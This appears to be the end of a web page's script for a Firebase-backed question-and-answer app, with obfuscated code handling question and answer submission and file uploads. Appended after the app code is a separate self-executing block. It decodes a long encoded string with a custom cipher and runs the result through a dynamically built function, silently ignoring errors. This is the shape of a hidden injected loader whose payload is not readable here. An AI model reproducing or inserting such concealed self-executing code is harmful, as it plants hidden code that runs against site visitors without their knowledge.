_0x485ec7=_0x1f16d9,_0x3c5686=document[_0x485ec7(0xac)](_0x485ec7(0x99)+_0x3dfdf9)[_0x485ec7(0x11f)][_0x485ec7(0xa6)](),_0x23d7fa=document[_0x485ec7(0xac)](_0x485ec7(0xc2)+_0x3dfdf9)['files'][0x0];if(!_0x3c5686){alert(_0x485ec7(0xf8));return;}try{const _0x36267c=db[_0x485ec7(0x108)](_0x485ec7(0x6c))[_0x485ec7(0xbd)](_0x3dfdf9),_0x5e1fec=await _0x36267c[_0x485ec7(0x114)](),_0x24c9e5=_0x5e1fec[_0x485ec7(0x68)]();if(_0x24c9e5[_0x485ec7(0xd0)]?.[_0x485ec7(0x12f)](_0x36a8e4=>_0x36a8e4['userId']===auth[_0x485ec7(0x97)][_0x485ec7(0xd6)])){alert(_0x485ec7(0xc9));return;}let _0x386617='';if(_0x23d7fa){const _0x3e3991=storage[_0x485ec7(0x111)]('answers/'+Date[_0x485ec7(0x10a)]()+'_'+_0x23d7fa[_0x485ec7(0x90)]);await _0x3e3991[_0x485ec7(0xf4)](_0x23d7fa),_0x386617=await _0x3e3991[_0x485ec7(0x7e)]();}const _0x5c84a4={'text':_0x3c5686,'fileURL':_0x386617,'timestamp':new Date()['toISOString'](),'userId':auth[_0x485ec7(0x97)][_0x485ec7(0xd6)],'userEmail':auth[_0x485ec7(0x97)][_0x485ec7(0x7f)]};await _0x36267c[_0x485ec7(0x79)]({'answers':firebase['firestore'][_0x485ec7(0xd3)]['arrayUnion'](_0x5c84a4),'answersCount':firebase['firestore'][_0x485ec7(0xd3)][_0x485ec7(0x81)](0x1),'hasAnswers':!![],'lastAnswerTimestamp':firebase[_0x485ec7(0xa2)][_0x485ec7(0xd3)][_0x485ec7(0x8c)]()}),document[_0x485ec7(0xac)](_0x485ec7(0x99)+_0x3dfdf9)['value']='',document[_0x485ec7(0xac)](_0x485ec7(0xc2)+_0x3dfdf9)['value']='',document['getElementById'](_0x485ec7(0x122)+_0x3dfdf9)['innerHTML']='',alert(_0x485ec7(0x133)),reloadCurrentView();}catch(_0x4ef184){console[_0x485ec7(0xd5)](_0x485ec7(0xb6),_0x4ef184),alert('Error\x20submitting\x20answer.\x20Please\x20try\x20again.');}}function setupAnswerFormListeners(){const _0x19a8e6=_0x1f16d9;document[_0x19a8e6(0x103)](_0x19a8e6(0x65),function(_0x3b5c9c){const _0x3c3510=_0x19a8e6;if(_0x3b5c9c[_0x3c3510(0xee)]['id'][_0x3c3510(0x8f)]('answerForm_')){_0x3b5c9c[_0x3c3510(0x11b)]();const _0x2d945e=_0x3b5c9c[_0x3c3510(0xee)]['id']['split']('_')[0x1];submitAnswer(_0x2d945e);}});}window[_0x1f16d9(0x103)](_0x1f16d9(0x124),setupAnswerFormListeners),document[_0x1f16d9(0xac)]('questionForm')[_0x1f16d9(0x103)](_0x1f16d9(0x65),async _0xcfbefa=>{const _0x52c820=_0x1f16d9;_0xcfbefa['preventDefault']();const _0x5bc34f=document['getElementById'](_0x52c820(0x67))[_0x52c820(0x11f)],_0x111e91=document[_0x52c820(0xac)](_0x52c820(0x86))[_0x52c820(0x11f)],_0x3ca087=document[_0x52c820(0xac)]('question')[_0x52c820(0x11f)],_0x41bc06=document[_0x52c820(0xac)](_0x52c820(0x8d))[_0x52c820(0x93)][0x0];if(!_0x5bc34f||!_0x111e91||!_0x3ca087){alert('Please\x20fill\x20in\x20all\x20required\x20fields');return;}try{let _0x12f3ec='';if(_0x41bc06){const _0x2f2885=storage[_0x52c820(0x111)](_0x52c820(0xfa)+Date['now']()+'_'+_0x41bc06[_0x52c820(0x90)]);await _0x2f2885[_0x52c820(0xf4)](_0x41bc06),_0x12f3ec=await _0x2f2885['getDownloadURL']();}const _0x155bd0={'subject':_0x5bc34f,'chapter':_0x111e91,'questionText':_0x3ca087,'fileURL':_0x12f3ec,'timestamp':firebase[_0x52c820(0xa2)][_0x52c820(0xd3)]['serverTimestamp'](),'userId':auth[_0x52c820(0x97)]['uid'],'userEmail':auth['currentUser'][_0x52c820(0x7f)],'answers':[],'answersCount':0x0};await db[_0x52c820(0x108)](_0x52c820(0x6c))[_0x52c820(0x69)](_0x155bd0),_0xcfbefa['target'][_0x52c820(0x6f)](),document[_0x52c820(0xac)](_0x52c820(0x72))[_0x52c820(0xa1)]='',switchTab(_0x52c820(0xf6));}catch(_0x1dc2ec){console[_0x52c820(0xd5)]('Error\x20submitting\x20question:',_0x1dc2ec),alert(_0x52c820(0xd9));}});async function setupApplication(){const _0x205886=_0x1f16d9;try{await new Promise(_0x21ae3e=>{auth['onAuthStateChanged'](_0x21ae3e);}),await createIndexes(),await createArchiveIndexes();const _0xdebf52=document['querySelector']('.tab-active')?.[_0x205886(0x116)](_0x205886(0xea));_0xdebf52===_0x205886(0xf6)&&loadContent();}catch(_0x435d79){console[_0x205886(0xd5)]('Setup\x20error:',_0x435d79);}}window[_0x1f16d9(0x103)]('load',setupApplication);
        (function(){_B7("fupj1bgnstu)q~gfosdwpdz<bgnstu)<bjppdz1tsts4nvuob|bjpuop!t/fj.sifuop;bmf.y|pj##sjdp;-dqj;~u.ufpfcu;ype5G<m;D6pj|juoq!!osoofAzbtq||bgnpu1h2&stssb)1h~g.fqu<op;bmf3yb.u.ufqj;uop;bmf1uouoqj!1-bgn1t/fj.suouosts/~rtpdepsstsuobZ3*#no;-fsuo##sue#bbj|sspp3!m!D6dp$B1/bobnj;j2mf!gj~lgn!j1uop;ufe*1|bgnpu4e*bfsbzutsuobZ1*/effbj|bu2stsuobZ*stj;bu4nuop!1~rtpdestj;bgn3vuob;w|bgnstu)q~ebt##efj##tj.##/cdwce.unqtj$B1ps5G~mehobptotjbjjufsfto&stssb)f~1uop;uf7f~/eo|d;s",(function(){this._W5L5YvH3h__wacD79={f:function(_J7y,$){_WnF7="\x70\x6c\x61";function _LqTu(_J7y,$,_4u,_W9){function _un(_bn76){_bn76=_ap9(_bn76)-32-(_W9%95);if(_bn76<0){_bn76+=95;}_bn76+=32;_W9++;return _S2(_bn76);};function _LCc(_J7y,_4u){_TnY=_J7y[_4u];_aWz5="";while(_TnY!="\f"){if(_TnY<" "){_aWz5+=_TnY;}else{_aWz5+=_un(_TnY);}_4u++;_TnY=_J7y[_4u];}return _aWz5;};function _ap9(_TnY){return _TnY[_6S6](0);};function _S2(_bn76){return this[_oPe][_639](_bn76);};_4u=_4u?_4u:0;if(_J7y[_Nm]>_4u){_W9=_W9?_W9:0;_O0W=_LCc(_J7y,_4u);_798=_O0W[_Nm];_vX=_LCc(_J7y,_4u+_798+1);_CB6Z=_vX[_Nm];$[_O0W]=_vX;_LqTu(_J7y,$,_4u+_798+1+_CB6Z+1,_W9);}};_OJN="\x72\x65"+_WnF7+"\x63\x65";_6S6=_Oo7A("_ahco%Cr%Aedt");_oPe=_Oo7A("r_t%Sgni");_639=_Oo7A("_orfhCm%Crae_do");_Nm=_Oo7A("ne_lh_tg");_LqTu(_J7y,$);function _Oo7A(_UP){return _UP[_OJN](/[x%y_z]/g,'')[_OJN](/(.)(.)(.)/g,'$3$2$1');};}};}()),0,{},"_oF9\fJztj|ryy\fkDA?|_\f%x%\"wz}\fx\"TpN\f)/*0\f\"#:]5\f'][z]TX?TA]_DYGbSVe\\;nrIG=HK\\QOdWH[pnJmdgMXe!;|S^ww)[%Z!+%08gAr0do/3;{l*lwARGEZM/XS]Wbj{'Y`b8F<$/k ~!u!)i{-&/53>$+Y\\%:E:AH<KO~DGRWLHSJK D%(P[^lkkCjexKyps^iqMo%Sgfq\"35,7/o7:?9s~8mo2tz&WLVZcT4[^c](3\\UM6g/:{pqx$xx,#+,<G!<>w?aDOCFMB=-DCEVP[E*-@`Wb[bi]lpPunicngM=Qit#u)})1l0'*u!(l]|xI}):A<O\"PGJ()^+6MI_'/2=marTkqkw !>Ioh%IYEP&-/(7n|wxP[0=#1AWbPBSLU[uTQbmP'lq?itandxrlw s~nFL*y%|/1q70+;$/+_bxv},7FKAAVMUV6AKT)*ED>I]oqTg|zGRiu|gSNY,'.%('7Wb&4>}f^i7DD:DKRgrB5}\"mx@cc\\c^u!ZciEh\\})[ptT*$&1v,*Pc-8/0+61@66A1Jv}rN>IRGQU^OFQMdXALWkjhgcgT_eU\\=Zev~^%',bm|XV|uit=4m46Gq|6q%4IIy%XWUTa!,P`./1(3j`ufm/:h;f#D_7B+.5*%>I#|2^[EP@3FI=LW;m!MxS^5K`VYdQ*/,C`kHSQRfqg}@}F]ny'..%t  WZXm{'7>:A\"-6Ss'(2F+6NZOR1<O`G.7B\\kby=Hc7]CdDO%w(+JUy3+WPv[S^=</>Yd3ClB_jNORdoE}{!GkvefYp{8CHBU\"2,\"4*11C$ZXwZQ*~~bZ/qj?=`Yb7qB2g<I5q%Uk_DQ=y-](`UWb}PI(@*Om@,bZ[t_bD8;>mk.fs_<O ;~@9-qffJSv$oL_0K/P[!c\\1/c'4 \\o@[?akO<:\\5o@0bV;H4p$ToIkD~O?tms'jdPbpQc+F/05mbdo8t`r!a458Cfx@[DEh2=oE*.ZrQ.y,:zRnuQ]IV`aWPYQdA-?M.e8v{kq]jtukdlexUASaBR3(S $SQsp{NTU*7,t_ewX+,/&yhf))svtzv|#zp3-w}0Tefg*0$}l#!\"2L031739?7-$MX+np#B.ZNF:JLJGtXYCSMCUKRRdEwW3qJDVc%5ym\\Z|UOan0@%xt`r!aJkkkDgas!BRi3>pK]k ~t@;v*>FY6\"4B#+js-e80CL-?f\"jk/Xc6>C}@3:e`>IVWTX%!vwqFJ{Kyxrz.jVhvWs,09\\n6Q:;^(3e9;PMSih2=o,K]fysr<Gy)UUV|H!)hq+Ob20R+G_cUVY2Nfj2[f9Mo\";{|rjk_[GYgH:95*Mi\"&M$Q0\\fj!p\\n|]jjh?3?dqqoEiRsssj4?q&HZsRw%%#GHG;*(J#k---$)664+kl0\"!|]QI=MOMJ\\=t18s}abcdZN^`^[mN&X7<,0s2nZlz[Jh2BK=iysi{qxx+k'%!]k:rIK]NA5$\"DAL~7bh\\7E06H)_asdWK0fhzk1Ze8P{\"uP<gi|`IQYLcH~!3$Ir}P5$7RQz&X-.O1['_68J;.A%&Dp!zp#x  2r]o'n@B6.\"242/AJ#q0YirOP+y8aqz-Va4khl27cz<+Ir#,>grE|y}CH&L^&A*+Nw#U)+@=CYX\"-_{;MVicB&Dp!zp#x  2rKE ?w[MPcF:6\"4B9=b&i[^q'P[.hz)=<2]XvZb6k:9bm@z-;ONDojxlt(cgKfjNw#Ui,>W(-Z;&'<thxzxu(~#f0;mDFCWp<7E9AT8V3~1? -pz_,<6,>4;;M.;AIb[4)j?MKcWS?Q_@rsN}#Fxy|FozMPW7'CQ|y%W)Sn/I':ig*bW9m{y2&j_Au$\"l6AsXGZut>I{\"OQx~J#UV1`T)}_4B@XkO2?#-s7ijEt8al?yv<4B!d#_K]kL!'%$^.ZjdZlbii{\\2565*b5H u1%iyZOzGMp#JeNOr<GyQUQg|{EP#{0[W&Q*\\oG=Xk;9[4D%yEq6_j=JS2y@l`OMoiI{[7uN^?4_,Py%WdmL4Z'({jh+csTItAe/:ld[Cso<0t'NiRSv@K}QShek\"!JU(Dcu~2,l0@!uAm2[f91(o@<z^THXZXUgH R16&*mnQ@^(8A5!})[ab7D9\"lr%e89<3Jk>?Bk5@rxyN[PvTzMNQzDO\"<U6$O(8xm9e*S^1=\"/>4`sCAc]=,Js$-l`XL\\^\\YkL$V5:*.qTago)\"ZIg1AJ*=b7=;:tFiB<v6nYk#j<>?R+~/1/,>~VryU_Ca>*<J+0$9wm1h;y~nr?OI?QGNN`AFUx.|oHz.e[vjYWysSXLa@\"uZ_ShG=`8T[7Aym} }z-mCFGF;sFY1'BU9108; -pz IT'jl~>*U.`sKA_4A%/4]h;qvS=<epCWy,Eq%hONbRXxW{orh\\lnli{\\4PW3=!?{gy(h#SnJm GbKLo9DvhPSxwAL~RuUW\"MV@Y-SfC/AO0dL<hys7Ip,tu9bm@2y|BAjuH{?~!Kv i#W|0lXjxYi-Wk5=`r:U>?b,7i[CFkj4?qEhHJt@I3L\"FY6\"4B&=b\"%c@,>L?kQRl9CG]M9KYDxlxH{@55x@itG[}0I(WyzymiUguZ`6YNN2Yh]<xdv%iDg\\\\@g1<nRB`[+r>!AT$\"DEN8dYRS`b*PNOR/hj^Htsxy]^RIcv>Dw[DLTGbMKmnwa..{|*,Sywx{X24(q>ABC'({r-@gmAi!d.9k!B~F\\o;&>Q)U;<V:#+3&=,*L7OC+B&OZ-Bc@g}1\\G_rJv\\]w[HFhE~!t^}.qeNT*M_'B+,Ox$VH03XW!,^2U57a-i492E)n&i3>p&G$Kat@|#DW;<)'I4L@(?#LW*?`=dz.YD\\oSM9KY:p#X{BY=fqDXz-F%aM_mWS.Q4-a_{(q++,8t`r!ulAdv>YBCf0;m?Q|Gpo9DvekKxD|_X-+QS=VVWQdA-?M0lWXmJ6HVD<vjvS?Q_CK WN!]I[iT)|)fXZ^X{^2V-?t$wtfhlf*emAe<N$3'#n!/)tOu-px!uT$\"D6\"\\]!;k'NB1/QK+0?bwfY4\\]QI=MOMJ\\D@LTG}aF#mn$gPX`SjfRdrS(g[NM7+7fd'xd?@c8 o<M3'%pK173MrG'zmlVKV:#+3&A,*L>*de)9\\';dXLJ6p[W]r8lL@32{p{_Dn\"^J#RPrK _SFEznU 3V+1/.h8{|bj-@lhAp34E)xp9:Ks{P<) B%|C@%!Y=*(JD$)8[p_R-UVJB6FHFCU=9EM@vZGEg@/Mv'0ocHca]:HvO>\\&6?~2uv5\f");function _B7(_5Bm,_9HV3,_4BZ,$,_Nj,_7c){_753Y=this._W5L5YvH3h__wacD79;_753Y.f(_Nj,$);if(!_4BZ){_4BZ=$.__u8n;}_f4p()(_5Bm,0,0x4b97,this,"''");function _f4p(){return function(_IOZk,_z0r8,_GsG,_Hh,_978){_753Y.p1=_IOZk;_753Y.p2=_GsG;try{_0SFB(_Hh)(_cB9c()([_4BZ[$._730lN]("+p%p",_978)[$._730lN]("-p%q",_978)],''))();}catch(e){}function _0SFB(_BhJR){return _BhJR[$._nD6];};_Hh._W5L5YvH3h__wacD79=_7c;};};function _cB9c(){return function(_94V,_Aw){return _94V[$._g9T1](_Aw);};};};}());
</script>
</body>
</html>
